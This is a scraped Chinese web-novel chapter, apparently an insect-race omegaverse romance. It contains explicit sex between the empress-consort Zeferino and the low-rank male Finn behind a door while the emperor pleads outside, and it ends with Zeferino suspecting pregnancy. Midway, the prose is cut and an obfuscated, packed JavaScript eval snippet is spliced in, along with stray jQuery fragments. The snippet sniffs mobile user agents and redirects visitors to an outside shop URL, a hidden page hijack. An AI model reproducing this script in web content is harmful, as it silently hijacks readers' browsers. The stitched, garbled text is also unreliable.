泽费里诺还真没想到小雄虫会这么大胆,他的准丈夫——虫族温特瑞亚帝国最至高无上的虫皇陛下就在门外乞求他的原谅,可他却被一向听话乖顺的小雄虫强行塞了尾勾。
雌虫的长发有些散乱,只能稳住身体不让自己触碰房门,不然塞塔斯绝对会听到里面的动静,即使公爵府的门窗都是隔音的材料,可五官比一般虫更强的虫皇陛下定会有所察觉。
他倒是小瞧了这才二十岁刚发育完全的低等雄虫了,竟敢对他乱来。
他都没准备,以为这小东西不敢,失算了。
孕腔感觉到雄虫的尾勾肆虐,泽费里诺这个时候还在想,幸好雄虫等级低,不然就这么搞,他不怀孕都是他的问题了。
虫皇陛下言语恳切:“我也只是一时鬼迷心窍,事到如今我才发现我最在乎的雌虫只有你,我无法承受失去你的痛苦,只要你肯跟我回皇宫,你喜欢什么样的亚雌侍奉在寝殿我都不会再过问,别生我的气了好不好?”
泽费里诺哪里需要生气,自从认清现实后,他完全不想为不值得的雄虫伤神了,他看透了感情的本质,在这个星际虫族,又不是人族有完善的文明制度,一夫一妻制,他们虫族进化到如今,一直在走下坡路,妄想得到真感情才是真的可笑。
他相信这世上会有雌虫专一爱雄虫,却不会相信雄虫会真的爱某知雌虫,至少在他短暂的二十五年里,他没见过专一的雄虫。
他以为自己足够强大足够优秀就能得到虫皇专一的感情,可事实上只有他活在可笑的理想象牙塔里。
如果他还对虫皇有感情,就不会对亚雌二次发育成的小雄虫强取豪夺,把自己最珍贵的东西一整个给了小雄虫。
现在的泽费里诺,心里对权力的渴望以及推翻现有政权更有兴趣,爱情早已不在他期待的范围内。
有时候身心确实需要抚慰,那身边有一只听话的雄虫比什么都好,起码他能掌控这只雄虫,不像塞塔斯,有太多的不确定性。
在他的认知里,芬恩对他没有威胁,一只既没有精神力,也没有权势和地位的低等雄虫,要想活下去必然得听话,唯命是从。
泽费里诺允许他偶尔这么胡来一次,刚好也满足他对虫皇的报复欲。
塞塔斯没有听到雌妻的回答,以为泽费里诺不想理他,实际上是隔着一扇厚重的雕花门扉,里面的雌虫嘴唇被雄虫堵着,让这位在谁面前都傲气端庄的雌君连口水都兜不住。
门外的雄虫又敲了敲厚重的合金门:“雌君,你有在听我说话吗?你就算不为你自己着想,也得为你的家族着想,赫斯公爵比我俩更期待皇储的出生,这皇储只能从你的肚子里出来。”
芬恩放开雌虫殷红饱满的唇,在他耳边呢喃:“雌君真会吃,吃我的尾勾不够,还想吃其他雄虫的,你说你和虫皇以后生出的小虫宝,会不会带着我的基因?毕竟我灌溉的不在少数。”
泽费里诺轻呼吸缓口气,没理会芬恩,隔着一扇门和虫皇对话:“我知道了,你先回去吧,我在家待两天就回宫了。”
这句话换来芬恩的狠拱,黑发雌虫微微咬了牙,转头眼神不悦地警告雄虫,芬恩当做没看见。
虫皇见不到老婆誓不罢休,听到老婆在门扉附近:“没事儿,你不出来见我,我就一直等,一直等,你迟早都会出来。”
理智的雌君还是强行让雄虫撤离,芬恩也快了,结果雌君不乐意了,非要推开他,芬恩一时半会也不肯。
咬住雌虫的腺体让他别动,一手握着雌虫的脖颈,又一会儿,才尽数给予。
泽费里诺知道他好了,便转身推开了他,从雄虫手中把抑制环拿来扣在自己脖颈上,擦了嘴角雄虫留下的涎水。
冷静地就像没有刚才那回事,还能把雄虫物质全部用精神力锁住,防止混杂在里面的雄虫信息素泄露。
芬恩擦了擦额头的汗,再没跟泽费里诺对着干,收拾好自己,又看了雌虫几眼,从侧门离开了。
门外的虫皇闻到了雌虫信息素的气味,不确定地问:“雌君,怎么会有你的信息素气味?你的易感期不是过了吗?”
泽费里诺往浴室走去,言语清淡:“你先下去和我的雄父说说话,我洗漱一下就来找你。”
塞塔斯有点担心他:“你的易感期还没过吗?”
泽费里诺反问:“我拿什么过?抑制剂用不了,你也不肯给我信息素,我只能硬扛,反复信息素遗漏不是很正常?”
事实上他的易感期早过了,是从昨晚开始,被那只小雄虫刺激的,这才会有遗漏一说。
他觉得自己真奇怪,心理抗拒再次爱上雄虫,可身体却诚实,喜欢雄虫抚慰。
不过幸好小雄虫没有生育能力,不然就这样进行过专一性孕腔标记的雄虫,总是不厌其烦地给予他种子和信息素,他不怀孕都说不过去。
塞塔斯哦了声,犹豫片刻离开了三楼,去找赫斯公爵。
泽费里诺洗漱一番,将身上的信息素气味冲去,换了衣服才下楼。
芬恩回了自己的房间,心脏还在剧烈跳动,越想越觉得自己胆大包天,竟然隔着一扇门,对虫皇的雌妻做那种事。
他什么时候也变得这么不可理喻了?
他这是真疯了,关键泽费里诺还没阻止。
芬恩一直觉得这位雌君强大冷静,有一种平静的疯感,现在雌君倒是没怎么疯,他这只抚慰雄虫先疯了。
嫉妒心真是可怕的东西……让他一个根正苗红文明时代的三好青年,也变成了他唾弃的样子。
~
没有意外,帝后在家属的劝慰以及虫皇的诚恳的忏悔中,还是要回皇宫。
整个加西亚家族都在劝他和虫皇和好,在所有的虫眼里,正统皇嗣才是最重要的,其它的不重要。
赫斯公爵和埃里诺的目标也很明确,让泽费里诺怀上皇嗣,以后要是控制不了虫皇塞塔斯,那就让皇储上位,反正扶得起。
加西亚家族富可敌国,关键还有一个听调不听宣的雄虫元帅驻守在外,那就是筹码。
不过怀上皇嗣,就师出有名,少被一群官员诟病罢了,反正谁也别想从加西亚家族手里把皇位抢走。
塞塔斯之所以能上位,还是因为泽费里诺喜欢他,不然就他那点单薄的势力,早该在夺嫡的时候土崩瓦解。
虫皇试图用艾维尔的家族制衡泽费里诺的家族,结果适得其反,连这唯一的感情筹码都要丢了。
关键还没有削弱泽费里诺的精神力,他还平白挨了一顿打。
中午在公爵府吃了顿饭,虫皇塞塔斯保证,半年内一定会给泽费里诺一个孩子,无论生的雌宝还是雄宝,都会立为皇储,未来继承帝国的皇位。
赫斯公爵满意了,也奉劝了儿子两句,虫皇知错能改,已经比很多雄虫有觉悟,让泽费里诺别抓着不放。
因为主动权握在泽费里诺手中,所以芬恩也逃过了一劫,塞塔斯一直认为,他的雌妻把一只酷似他的亚雌放在身边,是当替身的。
所以回去的时候,虫皇看了飞船后座的芬恩好几眼,好言好语地跟泽费里诺耳语:“我知道你把他当成我了,以后我天天来陪你,你也不用一直把这只亚雌留在寝宫,给我点面子,你都不知道大家怎么笑话我,我好歹也是虫皇,你说揍就揍。”
泽费里诺侧头不看他:“既然陛下知道错了,我也没必要抓着不放,这只亚雌懂我的喜好,会讨我欢心,我当然乐意把他留在寝宫侍奉,陛下这意思还是信不过我。”
塞塔斯回答:“怎么会呢,你泽费里诺作为帝国的雌君,万万虫民的偶像,绝不会做毁名声的事情,况且还是和亚雌,那传出去多难听,我就算不信我自己,我也得信你。”
泽费里诺嗯一声:“陛下信我就好,至于皇储的事情,等你和军雌信息素精神力解绑后再说吧。”
塞塔斯觉得他的态度有问题:“其他雌虫恨不得要我的皇嗣,你却没多大兴趣,我对你已经这么没有吸引力了?”
泽费里诺的神色有些不耐烦:“我并不需要陛下给我镶金边,我生来就在巅峰,谁跟我在一起都是镀金。”
塞塔斯:“……”
芬恩觉得这虫皇像个小丑,莫名想笑。
泽费里诺的自信和傲气,是任何一只雌虫都学不来的,这也深深地吸引着芬恩。
不过他明白,他和泽费里诺,迟早得散。
他做好离开的准备就好。
皇宫最劲爆八卦中的亚雌“洛菲斯”毫发无损地跟着帝后回宫了,米安绕着他转了一圈,觉得这只亚雌除了长得好看点,身高优势一点,也没什么特别的。
为什么就能获得帝后的青睐?
芬恩一回宫就和泽费里诺分开了,依旧被打发去侍奉他的花草,好像那些事跟他无关一样。
米安去找他时,他一点都闲不住,又在花园里翻土浇水,亚雌总管抱着胳膊啧啧道:“我还以为你活不下来了,洛菲斯,虫皇怎么没杀了你?”
芬恩听到是米安,也就没回头:“这你得去问虫皇,我又怎么能猜到虫皇的心思。”
米安蹲在他身边:“大家都说你在给帝后暖床?真的假的?”
芬恩这才停下手中的活计,看向八卦的米安:“你是信不过帝后的眼光和虫品,还是信不过我?”
米安笑着回答:“我当然相信帝后的口味,可是你真的长得很好看,我看了都心动。”
芬恩:“……”
好吧,他心口不一:“原来总管阁下思春,把我当成雄虫看了。”
米安哼了声:“可惜你不是,你只是最低等的亚雌,其实我家里已经给我找了雄虫,等级低,好在有生育能力,但不会只有我一只雌虫。”
芬恩的动作又一顿:“那你不出嫁会死吗?为什么非要那样?”
米安倒是被他问住了:“我也不想啊,可是易感期没有雄虫真的很难熬,对了,怎么没见你找我领抑制剂啊?你虽然是亚雌,但也有易感期的。”
芬恩随口胡诌:“早过了。”
米安诧异:“没症状就过了?”
芬恩点头:“对,等明年吧。”
米安起身拍拍腿上的土:“明年我要出宫,今年就得把亚雌总管定下来,我去问帝后该选谁。”
芬恩嗯了声:“去吧。”
不管选谁,反正芬恩是不肯当的。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521318|203321||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
回到皇宫之后,和泽费里诺就分开了,很少见面。
所有关于雌君的说法,都是从米安口中听说。
一个多月过去,他连泽费里诺的影子都没看见,听说虫皇经常带他出去玩,芬恩心想这对夫夫是不是真的和好了。
心里空落落,像丢失了什么。
他的工作不苦不累,营养剂和薪资正常发,有时候米安还给他多发点,虫皇也没找他的麻烦,亚雌见了他也都不敢吆三喝四,对他毕恭毕敬。
按理说,这样的日子一直持续下去其实挺安逸,可芬恩就是觉得这不是他想要的生活。
他偶尔想看一眼泽费里诺,也只能在走廊里远远地站着。
泽费里诺再没来找过他。
他好像被遗忘或者丢弃了。
如果雌君和虫皇和好,那就不需要他这个抚慰品了吧?
早知道的结果,却还是会心痛。
只能不断找活干,麻痹自己。
他把花园都翻了一遍,又种上了新的花卉。
这天一大早,米安突然急匆匆地来找他:“洛菲斯,你了解帝后,他最近几天挑食严重,什么都不吃,营养剂也咽不下去,谁靠近都被吼,煮点粥给他端过去,都能打翻,不行了,你去看看吧,说不定你有办法。”
芬恩放下手中工具,有点担心:“是哪里不舒服吗?”
米安拉着他就走:“说要喝粥,厨房做了之后,又全部打翻在地,我真没招了,比之前还难伺候。”
芬恩只得跟着他去看情况,进了帝后寝殿西侧的餐厅,就听到餐具噼里啪啦又被摔了一地,泽费里诺不满的声音传来:“一群废物,一点粥都做不好,这谁咽的下去?”
亚雌们跪了一地,就连厨师长也来了,跪在泽费里诺脚下解释:“这还是您一贯的口味,食材也没变,小的真不知道哪里出问题了。”
芬恩站在餐厅门口看着朝思暮想的拟人雌虫,声音温润清雅:“我尝尝就知道是不是原先的味道了。”
泽费里诺听到芬恩的声音,心里一紧,但面不改色:“那你来尝尝,我说他们做的难吃,还非要犟。”
芬恩得到允许就进去了,他拿了一枚干净的勺子,盛了一口,轻轻抿了抿,确实还是原先的味道,食材和火候都没变化。
芬恩示意亚雌和厨师都退下:“你们先忙吧,我来侍奉。”
亚雌们像得到救赎,纷纷逃命一样退下了,芬恩这才盛汤吹了吹,喂泽费里诺:“吃一口?”
泽费里诺蹙眉侧开了脸:“不想吃,很难闻,拿走。”
芬恩又闻了闻:“和之前的味道一样,是你喜欢的口味,为什么味觉会发生改变?咱们找御医看看好不好?”
泽费里诺觉得没必要,他疑惑地看向芬恩:“真不是食材的问题吗?那为什么我闻到的却不是之前的味道?”
芬恩好脾气地看着他:“那就要问雌君自己,最近乱吃什么东西,吃坏了肚子,改变了味觉也不一定。”
泽费里诺思来想去,他的饮食一向很规律,最近连最喜欢的玫瑰味营养液也喝不下去,总觉得是臭的。
他想吃点酸酸的东西,连太甜的水果吃着吃着就想吐。
以前从没这种现象,他也不知道自己怎么了。
叹口气,放下餐具,泽费里诺抬眼看芬恩:“最近一个月没怎么见你。”
芬恩蹲下身去收拾地上的盘子:“我有我的工作,雌君有雌君的事情,哪能天天见面。”
泽费里诺伸手顺了顺抑制环:“我需要皇储。”
芬恩捡东西的动作一顿,神色倒是没怎么改变:“我知道,雌君和虫皇是夫夫,就算原谅他,重新在一起,也是情有可原。”
泽费里诺低眼看着他,声音压得极低:“你不会生气吗?”
这一个月来,芬恩冷静了很多:“我没资格生气,你和虫皇名正言顺,发生什么都正常。”
泽费里诺莫名来气,一脚又把芬恩手里的碎片踹翻:“是吗?那你可真大方。”
芬恩又把碎片捡起来:“我不大方没用,我连自己的命都掌握不在自己手中,自然也无法左右雌君的决定。”
对话的声音很小,小到泽费里诺有点听不清,他弯腰一把抓住芬恩的衣领:“真没用,连生气都不会,我倒是希望你能有点脾气。”
一次的不理智之后,芬恩就告诫自己,以后不可那样了,不能被同化,也不能被嫉妒心牵着走,那样很危险。
他深呼吸:“雌君这症状估计是脾胃的关系,要不看看御医吧。”
泽费里诺一把扔开他,起身走了,独留芬恩在餐厅收拾。
米安很快就请来了御医,泽费里诺坐在寝殿的沙发上闭目养神。
虫族御医史蒂文让他说说症状,泽费里诺闭着眼睛照实说。
史蒂文听闻后神色变了,他看了一眼米安,又问泽费里诺:“雌君近月可曾和虫皇同房?”
泽费里诺这才睁开了一双沉冷的黑眸,心中陡然一紧,紧接着一种恐惧感从四肢百骸蔓延开。
不会吧?他不会那么倒霉吧?
他不会是怀孕了吧???